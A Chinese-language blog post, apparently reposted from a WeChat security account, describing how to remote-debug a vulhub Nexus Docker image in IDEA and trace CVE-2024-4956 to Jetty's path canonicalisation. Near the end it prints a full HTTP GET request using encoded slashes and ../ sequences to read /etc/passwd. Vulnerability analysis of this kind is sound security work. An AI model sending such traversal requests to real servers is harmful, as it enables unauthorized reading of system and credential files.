前言
本篇文章主要记录用IDEA远程调试docker当中的nexus。
对nexus漏洞的分析写得不是那么好,如果想要看具体漏洞讲解的,我提供以下两篇,写得都比我好(泪目)。
https://www.cnblogs.com/Rainy-Day/p/18214409
https://exp10it.io/2024/05/通过-java-fuzzing-挖掘-nexus-repository-3-目录穿越漏洞-cve-2024-4956/
也是因为这个具体产生的原因在jetty容器当中,我跟Nexus的源码找不到。
调试前准备
Nexus镜像下载:
https://github.com/vulhub/vulhub/tree/096cd5e7063d739aa48e4c620d4950803193de88/nexus/CVE-2024-4956
下载代码:https://codeload.github.com/sonatype/nexus-public/zip/refs/tags/release-3.68.0-04
解压后通过 idea 打开,等待pom.xml中的依赖被安装
如果下载依赖慢,建议使用国内的镜像。
接着开启远程调试
OK,之后就可以下断点调试了
注意:如果调试一会后,遇到了即使下断点,重新debug也无法调试的情况,重启镜像。
sudo docker ps
sudo docker restart 341
代码分析
比对修复后与修复前的代码,查看修改了哪些位置,方便定位漏洞位置
访问 https://github.com/sonatype/nexus-public/releases‘
代码比较
其中有一堆xml和html,显然不是我们要找的,
ctrl + f 搜索 .java
也可以通过idea 进行代码比对
idea新建一个项目
下载两个源码包,解压后放在项目中
选择其中一个,按住 ctrl + d ,然后点击另一个文件
过滤 java文件
可以看到,这块代码被删除,分析后看出这是通过path读取资源的功能,
这就是漏洞所在
漏洞出现的原因
URIUtil.canonicalPath 是 jetty容器当中的函数,用来处理路径。
URIUtil.canonicalPath 在处理路径时,会将空的字符串也认为是一个目录
虽然该函数将//认为是空的目录,但其他函数或者Linux或者file://伪协议并不这么认为,这就导致了存在绕过的可能。
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.23.143:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: */*
Referer: http://192.168.23.143:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.3295531852435827; NXSESSIONID=fd8be857-5b8e-49ab-b677-45313c83c73d; apt.uid=AP-YFGMCGUNNIFB-2-1717380864372-66381115.0.2.a2e3917a-4f22-4c24-8671-436b74b600a2; apt.sid=AP-YFGMCGUNNIFB-2-1717404448571-73575477
Connection: close
漏洞分析
传入的参数
https://github.com/jetty/jetty.project/blob/jetty-12.0.x/jetty-core/jetty-util/src/main/java/org/eclipse/jetty/util/URIUtil.java#L714
参考链接
https://www.cnblogs.com/Rainy-Day/p/18214409
原文始发于微信公众号(进击的HACK):通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论